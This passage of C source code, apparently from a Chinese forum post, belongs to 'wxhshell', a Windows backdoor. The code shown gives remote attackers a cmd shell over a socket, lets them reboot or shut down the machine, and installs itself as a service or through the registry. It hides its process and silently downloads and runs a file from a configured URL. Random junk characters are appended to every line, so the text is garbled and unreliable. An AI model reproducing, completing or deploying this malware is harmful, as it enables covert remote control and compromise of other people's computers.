    break; L@r.R_*H?s  
  } sV[Z|$&Z  
  // 安装 Xb* _LZAU  
  case 'i': { hhAC@EGG  
    if(Install()) M[u3]dN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4d G-  
    else "S`wwl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v s|6w w  
    break; _KVB~loT  
    } I;-5]/,  
  // 卸载 #ya|{K  
  case 'r': { 3SDWR@x&  
    if(Uninstall()) qk,y|7 p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3 ?F@jEQk  
    else >-lL -%N_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H$amt^|zQ4  
    break; X.l"f'`l  
    } ~q(C j"7  
  // 显示 wxhshell 所在路径 xm5FQ) T  
  case 'p': { 2gAdZE&Y  
    char svExeFile[MAX_PATH]; ,jsx]U/^  
    strcpy(svExeFile,"\n\r"); Z(mn U;9{v  
      strcat(svExeFile,ExeFile); O^weUpe\  
        send(wsh,svExeFile,strlen(svExeFile),0); sDm},=X}  
    break; o%PoSZZ  
    } \BaN5+ B6  
  // 重启 ' ,`4 U F  
  case 'b': { &W+G{W{3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G!Oq>7  
    if(Boot(REBOOT)) hX| UE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V)QR!4De  
    else {  jnzz~:  
    closesocket(wsh); KH>sCEt  
    ExitThread(0); <S@mQJS!y  
    } vC<kpf!  
    break; t0H=NUP8  
    } irb.F>(x  
  // 关机 u6I0<i_KZ  
  case 'd': { :YXQ9/iRr  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W?J*9XQ`  
    if(Boot(SHUTDOWN)) ioa_AG6B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <VR&= YJ  
    else { G!LNP&~  
    closesocket(wsh); dzNaow*0&V  
    ExitThread(0); PB<Sc>{U  
    } N|d.!Q;V.y  
    break; soQzIx  
    } n;^k   
  // 获取shell 7WfirRM  
  case 's': { 9Q7cUoxY  
    CmdShell(wsh); OGi4m |  
    closesocket(wsh); | ,l=v`/  
    ExitThread(0); sFM>gG  
    break; [-Tt11  
  } %802H%+  
  // 退出 YZ:'8<  
  case 'x': { h9w^7MbO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wQrPS  
    CloseIt(wsh); ?Gv!d  
    break; `) !2E6 =  
    } us,,W(q  
  // 离开 9 roth  
  case 'q': { j X!ftm2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); UFAMbI  
    closesocket(wsh); hPi :31-0  
    WSACleanup(); P}WhE  
    exit(1); X`v79`g_  
    break; FlA\Ad;v  
        } l)PFzIz=V  
  } b, **$  
  } CE7pg&dJ)i  
e9hVX[uq  
  // 提示信息 6dR-HhF  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `Y({#U  
} 9c5G6n0  
  } ah"MzU)  
KYmWfM3^  
  return; M|E2&ht  
} 19w,'}CGk  
bb0McEQy  
// shell模块句柄 A"<)(M+kG  
int CmdShell(SOCKET sock) Iam-'S5  
{ lp0T\ %  
STARTUPINFO si; ]7R&m)16  
ZeroMemory(&si,sizeof(si)); nK%/tdq  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GE8D3V;*V  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {L-aXe{  
PROCESS_INFORMATION ProcessInfo; a(43]d&  
char cmdline[]="cmd"; i_'R"ob{S  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `ToRkk&&>{  
  return 0; k1Mxsd  
} GgpQ]rw  
Q~Sv2  
// 自身启动模式 sHPwW5j/o'  
int StartFromService(void) 0jJ28.kOp  
{ (zw=qbS&  
typedef struct "G-0iKW;  
{ 60~>f)vu  
  DWORD ExitStatus; )4F/T,{;m  
  DWORD PebBaseAddress; ]T3BDgu%&  
  DWORD AffinityMask; A]O5+" mc  
  DWORD BasePriority; Yx}"> ;\  
  ULONG UniqueProcessId; V.QzMF"o  
  ULONG InheritedFromUniqueProcessId; L3=YlX`UL  
}   PROCESS_BASIC_INFORMATION; <&Y}j&(  
>gZk 581/  
PROCNTQSIP NtQueryInformationProcess; bHQKRV  
)<x;ra^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X?v ^>mA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5)>ZO)F&  
&(uF&-PwO4  
  HANDLE             hProcess; o )nT   
  PROCESS_BASIC_INFORMATION pbi; wp]7Lx?F  
D_19sN@0m  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); lgjoF_D  
  if(NULL == hInst ) return 0; 9p\wTzA  
{7![3`%7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {?>bblw/d  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); AR+\uD=\I-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s?G'l=CcKu  
jQ_|z@OV  
  if (!NtQueryInformationProcess) return 0; 5nxS+`Pn.)  
N9JgV,`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); M8",t{7  
  if(!hProcess) return 0; 8NAWA3^B  
XC/]u%n8](  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X\3 ,NR,  
X.T\=dm%v  
  CloseHandle(hProcess); =6Kv`  
=S[FJaIu7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rMXOwkE  
if(hProcess==NULL) return 0; /!{A=N  
+Sdx8 Z5  
HMODULE hMod; vA "`0  
char procName[255]; gM;)  
unsigned long cbNeeded; Q&.IlVB[  
iQm.]A  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RLu$$Eb  
_sf#J|kQ  
  CloseHandle(hProcess); ~g K-5}%!  
7k`*u) Q  
if(strstr(procName,"services")) return 1; // 以服务启动 mOz&6T<|  
p'%: M  
  return 0; // 注册表启动 ~*PK080N}  
} uku}Mr"p  
lEyG9Xvi  
// 主模块 WK_y1(v>  
int StartWxhshell(LPSTR lpCmdLine) X8,7_D$  
{ %g]$Vfpy  
  SOCKET wsl; ?LV-W  
BOOL val=TRUE; B::4Qme  
  int port=0; LpiHoavv  
  struct sockaddr_in door; 7$1fy0f[l  
#E$Z[G]  
  if(wscfg.ws_autoins) Install(); a$xeiy9  
iKF$J3a\2f  
port=atoi(lpCmdLine); I", &%0ycm  
iBtjd`V*  
if(port<=0) port=wscfg.ws_port;  [`hE^chd  
j2 o1"  
  WSADATA data; !0!U01SWa  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r{_B:  
ax72ehL}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~_l6dDJ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ySixYt  
  door.sin_family = AF_INET; 56bud3CVs  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); EZ%w=  
  door.sin_port = htons(port); wZo.ynXT  
~<2 IIR$H  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v ]/OAH6D  
closesocket(wsl); nL":0!DTRD  
return 1; ]< s\V-y  
} R%Ui6dCLo  
V>FT~k_"  
  if(listen(wsl,2) == INVALID_SOCKET) { O2`oe4."vd  
closesocket(wsl); JGk3 b=K  
return 1; LL= Z$U $  
} ?u_gXz;A  
  Wxhshell(wsl); xb+RRTgj  
  WSACleanup(); qLQ <1>u  
u{OS6Ky  
return 0; XSm"I[.g  
wQD0 vsD  
} 4GU/V\e|  
eq@am(#&kY  
// 以NT服务方式启动 W.#}q K" q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ge^zX$.'  
{ 0kNe?Xi  
DWORD   status = 0; ?Y? gzD  
  DWORD   specificError = 0xfffffff;  (kWSK:l  
L25kh}Q#7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `1E|PQbWc  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; YGq=8p7.R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;~Q  
  serviceStatus.dwWin32ExitCode     = 0; h&=O-5  
  serviceStatus.dwServiceSpecificExitCode = 0; GSMk\9SI  
  serviceStatus.dwCheckPoint       = 0; 7SgweZ}"  
  serviceStatus.dwWaitHint       = 0; W_[|X}lWP  
ibd$%;bX3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); JmU<y  
  if (hServiceStatusHandle==0) return; ,:#,}w_HyO  
X q}Ucpj  
status = GetLastError(); F_A%8)N  
  if (status!=NO_ERROR)  G"o!}  
{ S=0"f}Jo.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; n S_Ta  
    serviceStatus.dwCheckPoint       = 0; ?muDTD%c  
    serviceStatus.dwWaitHint       = 0; <Rcu%&;i  
    serviceStatus.dwWin32ExitCode     = status; [[R7~.;  
    serviceStatus.dwServiceSpecificExitCode = specificError; !dU9sB2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]pW86L%  
    return; o"rq/\ovv  
  } '|vD/Qf=&  
Tub1S v>J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "w}-?:# j  
  serviceStatus.dwCheckPoint       = 0; f4]N0  
  serviceStatus.dwWaitHint       = 0; >5)<Uv$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); D(y+1^>  
}  f~w>v  
wP[xmO-%  
// 处理NT服务事件,比如:启动、停止 j$3rJA%rN  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %KGq*|GUu  
{ yJ!OsD  
switch(fdwControl) Z[",$Lt  
{ 21r= = H$  
case SERVICE_CONTROL_STOP: T vrk^!  
  serviceStatus.dwWin32ExitCode = 0; (GCG/8s  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; K(<$.  
  serviceStatus.dwCheckPoint   = 0; 8zhBA9Y#~  
  serviceStatus.dwWaitHint     = 0; y }\r#"Z`  
  { x^A7'ad0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ""co6qo#>  
  } sX+`wc  
  return; T4mv%zzS  
case SERVICE_CONTROL_PAUSE: q@(1Yivk  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z{ptm7  
  break; 7;&(}  
case SERVICE_CONTROL_CONTINUE: y|$R`P  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *)u?~r(F  
  break; "\e:h| .G  
case SERVICE_CONTROL_INTERROGATE: $}t=RW  
  break; aF!Ex  
}; w/ TKRCO3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LO)GTyzvJ  
} {Fbg]'FQ  
]eE 1n2  
// 标准应用程序主函数 ]kx-,M(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P0^c?s"I  
{ 8{dEpV*  
;HDZ+B  
// 获取操作系统版本 S}[l*7  
OsIsNt=GetOsVer(); 3y99O $EAc  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2 P=[  
&VDl/qnaL  
  // 从命令行安装 2d*_Qq1  
  if(strpbrk(lpCmdLine,"iI")) Install(); Fh K&@@_  
089 k.WG  
  // 下载执行文件 -"=)z /S  
if(wscfg.ws_downexe) { ( S`6Q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zDD4m`2  
  WinExec(wscfg.ws_filenam,SW_HIDE); aX;A==>  
} hk%k(^ekU]  
U&X2cR &a  
if(!OsIsNt) { YutQ]zYA.  
// 如果时win9x,隐藏进程并且设置为注册表启动 @5xu>gKn  
HideProc(); (Yv{{mIy  
StartWxhshell(lpCmdLine); iv*V#J>  
} .}q]`<]ze  
else ;f:gX`"\  
  if(StartFromService()) ^i+[m  
  // 以服务方式启动 ]jyM@  
  StartServiceCtrlDispatcher(DispatchTable); K UKACUL  
else En(7(qP6}  
  // 普通方式启动 B{C_hy-fw  
  StartWxhshell(lpCmdLine); ^T:gb]i'Qa  
O gmSQ  
return 0; DECB*9O ^  
}
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只看该作者 1 发表于: 2006-10-10
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